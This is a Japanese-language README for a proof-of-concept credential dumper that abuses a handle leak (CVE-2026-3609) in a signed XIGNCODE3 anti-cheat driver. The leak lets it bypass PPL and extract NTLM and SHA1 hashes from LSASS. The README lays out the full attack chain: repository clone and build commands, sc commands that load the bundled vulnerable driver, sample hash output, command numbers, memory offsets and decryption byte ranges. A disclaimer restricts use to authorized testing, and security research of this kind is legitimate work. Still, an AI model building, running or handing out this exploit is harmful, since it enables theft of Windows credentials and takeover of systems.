
CVE-2026-3609 の PoC - XIGNCODE3 xhunter1.sys のハンドルリークにより、PPLバイパスとLSASSダンプが可能
LSASSの資格情報ダンプの概念実証で、Wellbia社のXIGNCODE3アンチチートドライバ xhunter1.sys におけるPPLをバイパスするプロセスハンドル漏洩を利用します。
このドライバは、ObOpenObjectByPointer を AccessMode = KernelMode で呼び出し、OBJ_KERNEL_HANDLE を指定しない IRP_MJ_WRITE コマンドインターフェースを公開しています。これにより、カーネルで生成された PROCESS_ALL_ACCESS ハンドルが呼び出し元のハンドルテーブルに直接配置されます。そこから、標準的な資格情報ダンプコードがターゲットから lsasrv.dll の3DESキーを読み取り、アクティブなすべてのログオンセッションのNTLMハッシュとSHA1ハッシュを復元します。
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
脆弱性のある署名済みドライバはこのリポジトリに含まれています(xhunter1.sys)。エンドツーエンドで再現可能なエクスプロイトです。ロードする前にハッシュを確認してください:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
新しいXIGNCODE3のリリースでは修正されています。脆弱性のある署名済みバイナリは、ドロップしてロードできる任意のホストでBYOVDプリミティブとして引き続き使用可能です。
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
リリースバイナリは target\release\CredsHunter.exe に配置されます。
バンドルされたドライバをカーネルサービスとしてロードします(ドライバのデバイスDACLは、実行中は任意の呼び出し元を許可します):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
ツールを実行:
.\target\release\CredsHunter.exe
後片付け:
sc stop xhunter
sc delete xhunter
デフォルトのデバイス名は \\.\xhunter です(上記のサービス名例と一致)。サービス名が異なる場合、デバイスパスもそれに従います – 必要に応じて driver::DEFAULT_DEVICE を編集するか、Xhunter::open_named を呼び出してください。
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
MemReader トレイトはメモリ読み取りを抽象化し、資格情報抽出モジュールが特定のドライバプリミティブに依存しないようにします。このトレイトを別のリーダー(例:Beacon Object Fileランタイム、ptwalkベースの物理メモリリーダー)に実装すれば、lsa / logon / wdigest モジュールはそのまま変更せずに使用できます。
48 3B D9 74)であり、Windows 11ビルド26100以降では更新されていません。これをビルドごとのテーブルに拡張するのは簡単です;PRを歓迎します。xhunter にハードコードされています。別の名前でドライバをロードする場合は、driver::DEFAULT_DEVICE を編集するか、Xhunter::open_named にオーバーライドを渡してください。研究、許可されたテスト、防御ツールのみを対象としています。自分が所有していない、または明示的なテスト許可がないシステムで脆弱性のあるドライバをロードすることは、ほとんどの法域で犯罪です。著者は悪用に対する一切の責任を負いません。
LICENSE を参照してください。
| 段階 | コンポーネント | 動作内容 |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — デバイスに認証は不要 |
| 2 | driver.rs → Xhunter::open_process | WriteFile でコマンド785(PID, PROCESS_ALL_ACCESS)を送信。ドライバは ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) を呼び出し、ハンドルをユーザーの応答バッファの +0x10 に書き戻す。AccessMode = KernelMode によりアクセスチェックがスキップされるため、このハンドルはPPLをバイパスする。また、OBJ_KERNEL_HANDLE が設定されていないため、呼び出し元のハンドルテーブルに配置される。 |
| 3 | driver.rs → Session::attach | カーネルで生成されたハンドルに対して ReadProcessMemory をプローブする。RPMがブロックされている場合、ドライバコマンド787(KeStackAttachProcess + memcpy)にフォールバックする。 |
| 4 | lsa.rs | ローカルの lsasrv.dll の .text をパターンスキャンし、LsaInitializeProtectedMemory 内のAESキー、3DESキー、IVへのRIP相対ポインタを復元する。これらのVAをターゲットのマッピングにリベースし、BCRYPT_HANDLE_KEY → BCRYPT_KEY81 を辿り、ターゲットから生の3DESバイトを取得する。 |
| 5 | logon.rs | LogonSessionList を辿る(ビルドごとのシグネチャテーブル)。各エントリのプライマリ資格情報は +credentials → +0x10 → +0x30 にあり、0x1B0バイトの3DES暗号化ブロブを保持する。bcrypt.dll がこれを復号し、バイト 70..86 がNTハッシュ、102..122 がSHA1ハッシュ。 |